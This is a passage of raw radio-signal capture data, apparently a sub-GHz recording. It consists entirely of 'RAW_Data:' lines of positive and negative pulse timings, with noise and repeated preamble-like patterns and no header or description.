59 -167 61 -470 106 -336 121 -195 89 -305 133 -184 71 -135 163 -112 118 -1490 61 -184 61 -146 169 -76 106 -300 59 -375 51 -94 59 -291 81 -361 61 -673 59 -221 97 -182 97 -594 95 -210 136 -111 90 -74 100 -176 53 -452 97 -164 51 -567 84 -122 105 -80 228 -62 53 -136 63 -168 88 -537 118 -304 53 -1186 77 -184 105 -446 59 -673 76 -144 73 -80 51 -878 59 -60 124 -173 51 -738 357 -249 67 -160 188 -52 53 -142 83 -259 109 -160 87 -443 63 -54 182 -62 69 -196 61 -333 132 -123 53 -60 88 -151 116 -881 53 -203 87 -246 85 -150 115 -528 78 -100 221 -595 97 -282 126 -246 53 -200 82 -288 138 -118 79 -62 -RAW_Data: 101 -566 88 -443 63 -254 144 -120 124 -84 89 -479 99 -68 55 -436 67 -151 94 -56 53 -787 110 -300 51 -270 137 -285 89 -369 71 -366 61 -176 79 -529 109 -718 61 -68 51 -72 59 -239 89 -168 59 -76 77 -246 130 -418 53 -241 51 -104 59 -312 124 -378 100 -74 114 -365 63 -62 89 -458 73 -56 73 -106 61 -241 106 -296 59 -308 61 -290 59 -231 139 -140 53 -180 59 -173 98 -313 157 -125 79 -64 115 -98 139 -129 75 -98 65 -112 81 -97 51 -240 77 -141 69 -68 104 -183 178 -116 61 -541 209 -186 61 -160 106 -171 65 -84 105 -68 61 -64 99 -60 53 -158 53 -108 53 -161 77 -186 226 -172 51 -75 205 -93 88 -98 102 -98 105 -180 140 -107 341 -56 89 -56 387 -60 103 -113 233 -54 57 -93 185 -123 83 -54 228 -84 51 -64 133 -74 249 -62 98 -108 51 -189 146 -72 107 -122 107 -107 61 -52 73 -110 102 -447 204 -187 81 -284 87 -70 90 -117 75 -97 252 -320 59 -80 144 -112 258 -106 162 -80 81 -130 71 -222 78 -64 123 -60 59 -54 63 -88 188 -54 53 -118 53 -433 63 -225 65 -303 79 -160 115 -184 53 -515 122 -108 53 -895 89 -194 101 -172 113 -153 71 -474 89 -365 51 -104 79 -105 202 -550 61 -353 73 -335 103 -420 59 -76 65 -369 55 -156 61 -361 59 -409 79 -628 81 -251 87 -88 59 -363 71 -100 87 -185 178 -182 119 -310 53 -184 124 -524 103 -158 65 -300 55 -176 96 -80 85 -88 106 -369 59 -88 89 -482 77 -144 67 -375 53 -176 76 -319 79 -90 71 -183 76 -577 95 -437 142 -375 77 -112 77 -486 53 -326 135 -231 205 -60 59 -64 53 -251 53 -182 51 -396 59 -174 96 -165 96 -390 71 -408 59 -54 53 -420 67 -173 137 -98 172 -141 105 -201 99 -130 73 -336 95 -368 122 -404 65 -339 65 -221 101 -291 126 -380 74 -158 69 -146 65 -114 110 -210 138 -52 148 -128 61 -397 61 -460 51 -373 160 -486 53 -454 91 -328 104 -633 85 -337 63 -247 55 -180 85 -363 63 -223 117 -728 81 -298 53 -486 130 -273 141 -106 125 -114 107 -110 71 -84 75 -418 71 -82 136 -698 65 -62 75 -112 53 -564 51 -246 57 -258 71 -310 63 -305 71 -72 65 -72 65 -167 79 -374 53 -240 83 -102 125 -120 136 -597 174 -126 53 -230 63 -486 55 -375 55 -60 59 -353 213 -251 97 -265 143 -600 61 -519 87 -373 81 -438 53 -1003 53 -367 59 -54 53 -147 53 -586 53 -250 449 -233 59 -56 -RAW_Data: 135 -253 75 -52 81 -708 79 -54 51 -388 61 -78 87 -302 208 -547 53 -223 89 -104 53 -365 179 -761 81 -319 83 -552 107 -206 53 -80 142 -62 81 -521 53 -952 89 -1248 93 -229 81 -128 75 -54 61 -118 53 -82 92 -90 90 -56 57 -789 115 -192 96 -144 104 -180 67 -1247 76 -268 122 -141 57 -228 71 -767 174 -82 73 -148 65 -82 93 -320 117 -804 67 -54 59 -302 89 -495 51 -240 53 -54 61 -215 53 -601 59 -739 99 -52 110 -104 75 -84 61 -206 53 -356 53 -218 77 -88 65 -315 166 -215 53 -617 67 -96 106 -72 98 -491 93 -73 53 -416 91 -114 51 -965 53 -178 53 -258 55 -222 65 -788 53 -255 77 -252 361 -190 81 -98 61 -121 133 -396 107 -259 79 -363 96 -118 53 -609 67 -107 61 -178 143 -108 51 -208 160 -303 61 -158 202 -323 79 -209 51 -84 63 -332 67 -649 69 -226 103 -191 103 -58 73 -72 136 -126 165 -565 71 -148 63 -122 125 -122 111 -302 51 -160 59 -56 75 -562 126 -78 83 -80 88 -325 51 -92 113 -438 99 -518 63 -108 69 -634 61 -394 57 -104 111 -231 73 -149 79 -530 53 -223 110 -86 88 -1350 67 -98 125 -448 85 -243 59 -168 83 -599 77 -413 121 -497 63 -264 57 -92 63 -333 53 -282 104 -60 171 -322 71 -126 67 -333 156 -179 111 -243 97 -60 95 -155 53 -222 53 -170 53 -236 51 -630 53 -701 142 -223 146 -144 89 -831 75 -267 89 -272 83 -368 65 -262 77 -259 91 -90 89 -323 118 -118 172 -202 63 -643 97 -244 107 -146 73 -204 57 -381 59 -342 176 -962 160 -100 57 -683 53 -241 228 -86 53 -126 79 -395 141 -323 61 -637 135 -120 162 -975 104 -119 59 -505 53 -60 85 -54 97 -169 75 -505 133 -140 139 -200 71 -420 73 -104 53 -574 76 -312 111 -103 103 -152 59 -155 59 -92 140 -226 71 -802 81 -296 53 -209 169 -357 53 -84 53 -628 61 -244 63 -358 127 -215 73 -518 162 -184 87 -124 74 -151 88 -394 61 -94 53 -133 65 -106 107 -216 51 -237 79 -66 107 -224 121 -1047 79 -427 83 -88 132 -341 63 -265 61 -355 51 -507 63 -204 178 -262 133 -178 184 -206 115 -857 51 -148 231 -150 61 -146 59 -188 84 -70 53 -393 59 -349 51 -232 57 -70 97 -314 71 -161 53 -72 71 -54 53 -337 67 -402 78 -763 119 -60 103 -146 87 -78 71 -235 51 -831 97 -535 195 -140 114 -107 123 -158 61 -112 79 -946 51 -120 98 -261 100 -171 65 -633 233 -106 161 -287 -RAW_Data: 51 -142 81 -494 55 -70 85 -658 57 -68 73 -83 75 -60 134 -245 134 -70 57 -231 89 -76 95 -141 75 -739 131 -118 61 -314 63 -186 131 -128 81 -257 71 -80 53 -320 71 -98 53 -212 65 -200 63 -104 112 -130 71 -412 71 -977 51 -75 71 -100 51 -399 304 -359 113 -154 81 -148 61 -240 115 -152 100 -108 128 -1182 82 -287 63 -840 77 -527 75 -112 51 -112 59 -763 95 -147 75 -881 57 -144 95 -84 89 -197 111 -659 51 -940 88 -317 65 -52 67 -722 77 -124 55 -92 183 -201 157 -1082 82 -306 69 -90 78 -249 102 -90 130 -136 51 -293 63 -90 87 -62 53 -353 51 -90 93 -185 51 -208 57 -497 61 -164 97 -312 53 -660 113 -101 80 -112 57 -141 51 -849 59 -1271 61 -76 59 -453 51 -192 59 -60 53 -135 82 -218 170 -218 53 -78 81 -146 65 -196 57 -423 53 -146 107 -771 63 -242 61 -157 77 -105 159 -676 96 -491 73 -82 71 -939 67 -146 149 -455 101 -218 53 -420 106 -268 71 -90 195 -236 63 -158 51 -420 59 -108 75 -258 96 -251 59 -129 59 -254 63 -60 153 -90 53 -122 85 -128 92 -150 61 -54 57 -130 121 -264 63 -256 61 -136 106 -176 51 -291 51 -273 53 -331 81 -144 53 -62 51 -76 51 -300 57 -70 99 -249 57 -62 104 -258 106 -126 130 -106 63 -122 51 -247 131 -160 106 -125 117 -576 151 -126 63 -436 79 -236 61 -434 158 -805 182 -298 95 -90 124 -98 117 -216 75 -269 117 -419 61 -323 178 -447 156 -118 53 -223 51 -315 67 -110 99 -618 223 -104 180 -386 71 -737 112 -159 96 -144 123 -557 158 -130 142 -116 81 -336 67 -90 53 -162 67 -159 53 -497 53 -225 104 -170 53 -90 125 -552 98 -172 79 -64 53 -325 71 -72 89 -179 105 -1052 61 -218 123 -167 59 -196 123 -347 177 -90 53 -212 57 -310 67 -223 51 -114 85 -108 63 -186 53 -52 51 -570 150 -86 53 -106 65 -322 67 -382 53 -504 88 -60 77 -318 67 -320 53 -153 51 -655 59 -168 59 -253 61 -60 179 -362 75 -58 93 -296 71 -183 79 -210 97 -416 53 -514 91 -82 59 -210 57 -203 93 -269 71 -186 53 -235 63 -133 129 -74 53 -144 160 -102 106 -639 57 -987 51 -122 57 -535 61 -492 55 -96 55 -244 122 -142 57 -827 81 -380 63 -313 67 -405 69 -120 63 -198 113 -406 53 -687 79 -210 161 -112 99 -54 129 -205 59 -132 53 -207 172 -703 59 -229 122 -178 183 -305 97 -482 142 -106 119 -246 53 -740 79 -226 -RAW_Data: 79 -235 53 -320 61 -82 87 -278 92 -464 71 -586 67 -291 53 -68 118 -521 51 -70 55 -90 75 -145 110 -256 59 -209 141 -289 71 -179 67 -567 130 -80 51 -402 106 -403 83 -70 79 -336 99 -274 106 -189 107 -98 63 -105 98 -74 97 -615 120 -449 176 -268 104 -485 77 -186 77 -254 51 -224 61 -267 55 -287 79 -62 53 -180 87 -252 78 -560 53 -200 146 -359 79 -214 65 -90 51 -154 61 -259 89 -90 72 -188 144 -162 63 -448 55 -69 245 -526 79 -90 69 -128 89 -245 61 -256 71 -84 51 -104 107 -814 112 -487 97 -170 71 -128 79 -88 61 -749 85 -802 89 -373 83 -165 53 -66 55 -417 67 -70 80 -368 81 -184 170 -90 57 -122 149 -742 131 -160 138 -234 63 -72 61 -72 138 -203 114 -385 97 -175 89 -351 57 -203 71 -151 75 -341 63 -291 89 -130 57 -162 71 -147 232 -795 75 -273 61 -310 53 -114 51 -455 61 -495 53 -58 73 -253 107 -215 129 -237 65 -197 106 -444 59 -207 194 -82 102 -89 95 -104 169 -308 63 -240 83 -719 53 -492 69 -431 137 -160 150 -633 59 -151 118 -167 71 -100 83 -80 249 -374 63 -128 99 -93 65 -344 89 -106 69 -161 63 -606 95 -178 114 -90 63 -495 115 -623 133 -145 81 -438 59 -469 61 -549 65 -246 53 -80 53 -669 51 -72 73 -126 124 -272 130 -302 67 -70 61 -467 59 -122 51 -111 89 -151 134 -309 89 -158 63 -178 218 -363 59 -238 101 -249 51 -797 78 -398 53 -259 76 -245 69 -140 85 -188 79 -206 92 -150 111 -338 61 -236 121 -74 140 -64 61 -142 79 -356 61 -804 51 -324 99 -108 59 -216 81 -345 75 -106 84 -127 119 -350 59 -171 75 -54 53 -130 73 -1139 77 -74 81 -121 51 -277 53 -56 153 -238 67 -176 81 -251 75 -256 107 -434 73 -98 104 -451 123 -872 51 -60 53 -185 61 -244 71 -179 71 -169 150 -62 89 -255 185 -66 101 -204 105 -336 53 -284 53 -212 53 -175 131 -198 71 -62 89 -106 57 -1680 125 -140 53 -98 51 -472 86 -54 55 -155 127 -150 115 -232 69 -74 79 -66 53 -124 110 -377 71 -340 53 -97 106 -122 51 -283 59 -134 53 -435 53 -406 67 -213 53 -220 105 -136 59 -995 59 -54 53 -581 59 -273 53 -378 98 -312 53 -506 81 -105 135 -132 89 -78 83 -74 61 -282 67 -80 96 -168 53 -82 110 -471 85 -414 61 -456 55 -118 53 -677 51 -202 51 -62 67 -758 127 -74 136 -1191 189 -133 59 -528 51 -68 87 -161 61 -762 -RAW_Data: 71 -976 59 -219 1119 -56 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 201 -446 71 -269 86 -186 87 -246 88 -104 51 -80 140 -56 95 -1112 141 -224 71 -526 201 -112 123 -158 61 -312 53 -72 71 -72 71 -162 59 -866 53 -150 61 -86 67 -308 124 -229 69 -117 71 -54 78 -120 178 -1086 51 -404 77 -76 63 -452 65 -219 67 -64 61 -509 75 -316 107 -209 83 -287 173 -853 131 -208 98 -469 71 -143 77 -480 51 -150 89 -177 99 -405 242 -52 114 -188 73 -62 71 -1307 53 -142 53 -333 81 -405 59 -825 71 -90 87 -116 57 -66 53 -152 96 -495 211 -123 51 -282 55 -238 55 -304 89 -117 59 -306 57 -163 159 -142 85 -800 59 -102 80 -176 67 -364 94 -587 63 -93 71 -122 174 -296 61 -58 51 -626 -RAW_Data: 67 -276 61 -455 67 -220 79 -277 77 -86 106 -90 57 -176 61 -315 73 -267 53 -90 67 -188 123 -74 61 -136 51 -172 81 -172 59 -700 67 -82 87 -215 53 -344 55 -126 152 -941 106 -104 61 -510 116 -116 148 -134 51 -201 69 -202 63 -310 71 -369 120 -62 159 -460 53 -166 142 -385 93 -578 98 -116 67 -172 53 -304 67 -76 98 -581 141 -441 160 -587 53 -80 67 -214 1182 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -126 63 -64 61 -64 61 -64 63 -64 61 -64 127 -66 61 -64 61 -64 63 -126 129 -64 61 -128 63 -62 63 -62 127 -128 65 -62 61 -64 61 -64 63 -64 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -128 127 -120 63 -62 131 -66 61 -64 61 -64 63 -62 63 -128 129 -64 61 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 125 -130 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -62 63 -62 63 -64 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 63 -64 61 -64 63 -64 61 -64 127 -64 63 -128 127 -128 63 -62 125 -64 63 -126 127 -58 69 -62 61 -128 65 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 127 -128 65 -62 125 -128 63 -64 329 -196 51 -96 95 -301 51 -150 107 -82 145 -192 59 -148 67 -383 53 -518 53 -125 51 -577 120 -70 111 -177 51 -89 79 -720 75 -64 53 -88 53 -253 51 -90 96 -366 55 -282 53 -562 63 -113 135 -76 96 -174 61 -594 73 -320 130 -176 177 -116 188 -145 115 -160 71 -116 51 -136 105 -1045 153 -209 61 -54 89 -120 81 -510 53 -471 81 -272 88 -541 87 -296 96 -570 103 -60 51 -923 51 -300 75 -135 135 -54 87 -240 61 -600 101 -54 71 -124 149 -134 61 -241 134 -224 53 -100 53 -154 89 -255 51 -416 59 -203 53 -485 53 -165 93 -341 65 -226 117 -519 67 -469 73 -68 -RAW_Data: 53 -62 53 -442 107 -90 134 -68 67 -149 63 -681 68 -105 180 -403 53 -54 89 -62 91 -137 51 -219 135 -179 61 -72 93 -355 69 -379 69 -660 51 -845 107 -94 87 -107 59 -60 55 -222 79 -505 97 -737 101 -434 87 -747 174 -394 53 -124 59 -123 51 -359 53 -90 69 -176 114 -160 79 -494 77 -358 79 -229 59 -98 88 -545 152 -360 53 -155 67 -246 63 -234 53 -851 89 -54 53 -80 71 -160 97 -421 113 -108 99 -146 53 -72 171 -107 57 -143 59 -90 69 -216 61 -423 83 -62 153 -98 51 -408 116 -80 63 -106 138 -188 67 -149 180 -110 143 -140 311 -105 73 -76 183 -122 114 -108 79 -144 77 -317 160 -216 71 -172 77 -166 187 -68 111 -80 81 -131 206 -109 67 -82 63 -96 109 -152 71 -136 83 -74 93 -104 88 -82 69 -115 148 -117 252 -82 117 -323 177 -110 59 -60 138 -54 85 -136 200 -98 51 -68 364 -78 71 -187 159 -54 65 -75 163 -81 162 -52 139 -263 194 -80 71 -54 169 -86 81 -52 51 -102 81 -119 149 -153 71 -54 113 -288 524 -167 132 -82 71 -54 120 -86 407 -82 209 -107 217 -90 61 -88 127 -60 119 -226 81 -150 352 -143 96 -106 93 -566 70 -115 79 -58 101 -136 117 -182 141 -193 141 -172 106 -117 71 -80 53 -296 292 -155 157 -106 132 -60 119 -126 57 -313 71 -347 63 -136 57 -407 69 -148 107 -246 178 -176 61 -225 141 -84 69 -110 120 -108 53 -90 87 -70 71 -82 125 -133 157 -236 53 -179 65 -110 194 -259 124 -90 94 -604 275 -418 61 -478 51 -422 77 -413 95 -104 71 -82 51 -54 59 -311 115 -284 118 -237 135 -178 248 -287 94 -337 132 -226 104 -96 59 -209 95 -214 75 -905 187 -338 79 -207 59 -169 55 -563 51 -742 201 -266 98 -462 173 -116 53 -130 61 -363 71 -347 71 -180 80 -108 53 -82 51 -64 89 -239 51 -60 69 -134 53 -179 69 -168 55 -439 53 -567 101 -84 93 -189 147 -262 67 -619 85 -118 65 -72 168 -74 71 -269 96 -303 53 -92 51 -368 87 -467 63 -76 96 -703 87 -116 93 -180 51 -212 241 -82 148 -68 53 -90 51 -80 104 -142 143 -515 53 -880 127 -791 51 -372 85 -330 73 -363 69 -242 83 -92 73 -769 106 -483 81 -202 79 -371 113 -944 61 -176 98 -152 126 -88 75 -138 97 -590 51 -64 61 -128 51 -552 73 -89 97 -242 150 -167 101 -64 53 -58 188 -60 81 -95 87 -214 114 -354 59 -66 186 -188 122 -142 167 -122 74 -345 169 -54 -RAW_Data: 135 -98 123 -121 127 -188 84 -94 469 -97 186 -109 182 -318 71 -76 120 -92 154 -209 103 -355 130 -193 176 -154 124 -76 117 -140 138 -74 141 -107 124 -98 190 -169 53 -126 101 -90 87 -450 101 -169 67 -100 185 -100 138 -277 91 -79 112 -159 200 -90 245 -253 345 -78 53 -140 61 -90 171 -62 117 -261 51 -90 61 -132 53 -54 258 -84 283 -191 83 -52 149 -119 244 -56 95 -132 96 -108 87 -182 105 -871 202 -62 77 -286 51 -492 63 -106 61 -126 97 -303 132 -157 72 -68 98 -311 51 -150 71 -955 143 -122 63 -343 65 -90 98 -54 139 -146 119 -232 53 -232 51 -80 71 -418 63 -167 61 -252 81 -166 59 -688 59 -539 79 -90 149 -120 89 -176 86 -292 51 -698 53 -184 81 -98 63 -422 101 -1118 65 -142 65 -87 73 -58 67 -480 84 -683 143 -481 61 -82 59 -126 61 -80 87 -213 63 -727 83 -72 67 -208 77 -480 87 -130 78 -454 51 -108 53 -706 65 -54 95 -125 57 -442 71 -183 51 -434 84 -226 51 -790 91 -118 187 -381 77 -140 85 -433 62 -165 55 -104 55 -54 59 -314 53 -54 134 -112 63 -255 104 -90 113 -385 131 -433 59 -56 81 -414 106 -54 137 -132 99 -770 145 -167 51 -126 83 -324 126 -254 111 -244 63 -641 51 -184 141 -62 73 -466 59 -154 106 -87 53 -220 72 -77 53 -201 97 -82 97 -305 125 -249 126 -396 51 -150 59 -406 61 -212 158 -135 59 -120 96 -374 51 -104 273 -251 71 -370 87 -62 77 -188 105 -115 114 -447 53 -284 71 -295 81 -249 97 -102 123 -87 85 -141 206 -215 65 -94 53 -267 57 -78 53 -319 820 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 209 -206 51 -694 75 -722 126 -505 75 -305 139 -230 95 -316 69 -291 53 -90 101 -439 67 -98 77 -283 185 -143 83 -937 67 -384 61 -154 106 -200 51 -122 53 -498 51 -154 51 -70 51 -382 97 -276 65 -136 132 -144 61 -179 65 -447 61 -232 126 -180 51 -108 191 -88 69 -308 74 -108 149 -114 97 -114 87 -104 78 -350 79 -110 87 -125 79 -326 61 -245 51 -572 101 -319 71 -476 53 -431 71 -226 99 -229 57 -84 104 -394 65 -622 53 -82 111 -132 75 -260 51 -571 53 -206 63 -62 81 -180 76 -116 59 -78 110 -532 175 -286 89 -402 168 -261 65 -353 219 -142 59 -188 53 -373 55 -422 51 -408 197 -60 79 -68 71 -66 51 -52 71 -62 59 -96 73 -120 51 -248 77 -521 211 -132 53 -258 71 -214 79 -861 90 -343 67 -546 57 -155 100 -80 71 -1437 53 -279 59 -218 53 -125 61 -252 69 -208 55 -70 97 -169 51 -314 97 -1004 123 -89 51 -132 86 -122 71 -352 53 -62 53 -188 53 -263 55 -185 71 -331 99 -76 82 -471 59 -561 81 -257 53 -130 85 -210 71 -221 101 -285 117 -224 63 -472 57 -60 141 -572 89 -439 105 -60 63 -94 97 -64 81 -385 51 -96 65 -276 116 -62 71 -98 86 -431 85 -382 53 -90 55 -68 61 -205 1058 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 127 -64 63 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -128 63 -64 61 -64 61 -64 63 -62 127 -130 127 -128 127 -118 135 -56 69 -126 127 -128 127 -118 71 -56 131 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 61 -64 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -62 127 -130 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -56 71 -62 61 -64 63 -64 61 -64 63 -128 127 -58 69 -126 63 -64 61 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 63 -62 63 -64 127 -64 63 -126 127 -128 63 -64 125 -64 61 -128 127 -56 71 -62 61 -128 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -64 305 -184 57 -454 53 -554 75 -62 70 -80 53 -353 77 -272 53 -158 81 -160 113 -78 124 -444 141 -211 65 -130 63 -86 118 -54 71 -144 93 -66 65 -346 166 -269 61 -261 67 -309 139 -56 53 -522 118 -221 61 -92 232 -74 85 -150 79 -306 75 -84 75 -350 77 -1092 53 -315 55 -665 53 -466 105 -459 57 -198 180 -326 53 -88 71 -112 102 -241 67 -597 78 -54 88 -226 61 -100 122 -168 77 -67 51 -172 61 -359 105 -526 71 -176 61 -232 53 -398 59 -122 73 -130 53 -417 53 -52 115 -272 107 -168 67 -80 53 -456 51 -694 75 -332 53 -84 73 -64 71 -1217 71 -264 67 -544 102 -240 127 -263 81 -262 53 -314 89 -216 133 -173 174 -372 59 -216 71 -236 51 -189 115 -82 119 -416 92 -98 134 -68 53 -88 67 -162 65 -60 75 -299 55 -165 55 -78 67 -160 111 -580 81 -760 85 -52 53 -283 51 -589 214 -1012 51 -101 105 -248 83 -106 116 -107 61 -402 71 -210 53 -141 59 -100 61 -98 51 -74 59 -160 53 -313 98 -503 88 -1023 61 -234 63 -128 79 -263 67 -98 89 -195 53 -144 89 -220 53 -184 81 -111 53 -189 63 -295 53 -196 126 -296 114 -389 310 -88 192 -200 76 -197 71 -82 77 -143 67 -52 113 -149 81 -138 71 -138 97 -62 103 -506 79 -359 106 -161 71 -170 61 -98 93 -259 89 -297 -RAW_Data: 79 -162 67 -311 85 -112 92 -68 81 -178 67 -206 107 -171 75 -89 136 -162 71 -107 214 -194 102 -269 61 -134 119 -89 125 -152 82 -113 106 -108 134 -102 57 -229 61 -82 107 -157 96 -219 69 -413 73 -112 147 -54 164 -68 80 -96 122 -70 240 -268 210 -143 75 -224 83 -190 53 -148 93 -81 113 -307 133 -227 61 -163 87 -311 75 -76 81 -70 165 -169 51 -595 65 -116 59 -275 88 -712 65 -714 69 -532 59 -82 85 -54 53 -125 208 -207 71 -58 98 -134 102 -340 63 -90 53 -174 166 -120 116 -473 166 -156 90 -320 211 -106 53 -493 81 -92 109 -176 63 -60 244 -200 59 -198 85 -341 79 -398 108 -104 65 -189 72 -78 59 -510 53 -80 53 -54 71 -253 61 -225 81 -297 105 -62 53 -106 65 -56 51 -140 71 -485 51 -568 91 -162 164 -242 80 -130 61 -186 76 -94 55 -1218 107 -305 132 -316 59 -114 126 -421 156 -255 61 -153 86 -192 51 -113 87 -242 77 -320 93 -629 57 -381 77 -182 65 -333 51 -310 59 -232 53 -108 87 -669 136 -206 59 -168 57 -112 67 -104 173 -248 53 -591 113 -88 111 -409 96 -86 132 -54 53 -434 135 -589 63 -277 104 -729 63 -775 61 -142 75 -115 73 -52 89 -86 70 -90 59 -119 75 -85 53 -195 53 -87 51 -208 61 -331 53 -98 100 -93 81 -188 61 -1857 73 -136 51 -126 53 -248 63 -120 53 -560 55 -64 81 -150 71 -54 79 -667 51 -185 106 -362 59 -492 61 -136 83 -332 131 -165 96 -78 101 -64 71 -188 194 -217 59 -62 53 -126 67 -134 183 -134 63 -116 53 -192 63 -136 51 -115 288 -295 55 -60 59 -52 71 -246 159 -134 126 -227 178 -82 238 -274 134 -165 71 -96 81 -393 53 -72 160 -326 104 -165 249 -104 69 -134 169 -82 67 -114 57 -122 113 -104 75 -181 81 -88 175 -158 113 -283 61 -120 259 -161 70 -84 61 -64 61 -104 67 -322 114 -238 103 -280 83 -52 87 -136 67 -52 155 -119 176 -60 53 -177 75 -275 153 -54 69 -52 94 -143 234 -80 170 -52 224 -68 61 -52 59 -54 107 -110 93 -500 61 -256 65 -52 53 -160 53 -303 79 -82 97 -202 63 -122 177 -585 65 -136 97 -219 142 -84 110 -219 85 -186 65 -64 63 -167 88 -144 106 -120 53 -72 51 -454 63 -424 61 -397 114 -502 57 -247 97 -413 71 -215 55 -299 59 -446 107 -329 59 -118 172 -68 77 -467 61 -410 81 -294 139 -84 53 -298 53 -489 67 -230 73 -268 198 -239 127 -397 185 -71 75 -90 -RAW_Data: 61 -563 61 -86 175 -132 51 -332 53 -270 171 -102 159 -108 110 -435 110 -408 51 -755 111 -383 100 -844 53 -1014 75 -369 119 -462 53 -168 51 -80 57 -505 109 -88 67 -172 53 -707 61 -371 53 -82 80 -578 198 -243 51 -465 65 -335 87 -202 53 -528 61 -912 51 -139 71 -98 78 -82 59 -236 53 -538 142 -312 252 -318 71 -182 59 -128 176 -1101 63 -385 74 -106 104 -256 61 -165 53 -268 77 -134 69 -84 101 -64 53 -117 116 -162 61 -188 63 -675 96 -126 107 -649 53 -74 193 -336 74 -295 67 -400 51 -357 110 -368 83 -392 71 -115 63 -86 61 -269 71 -834 59 -275 63 -1114 124 -526 150 -212 89 -620 81 -100 59 -516 61 -517 63 -260 113 -188 63 -285 65 -54 89 -106 59 -131 59 -488 51 -228 77 -584 59 -64 61 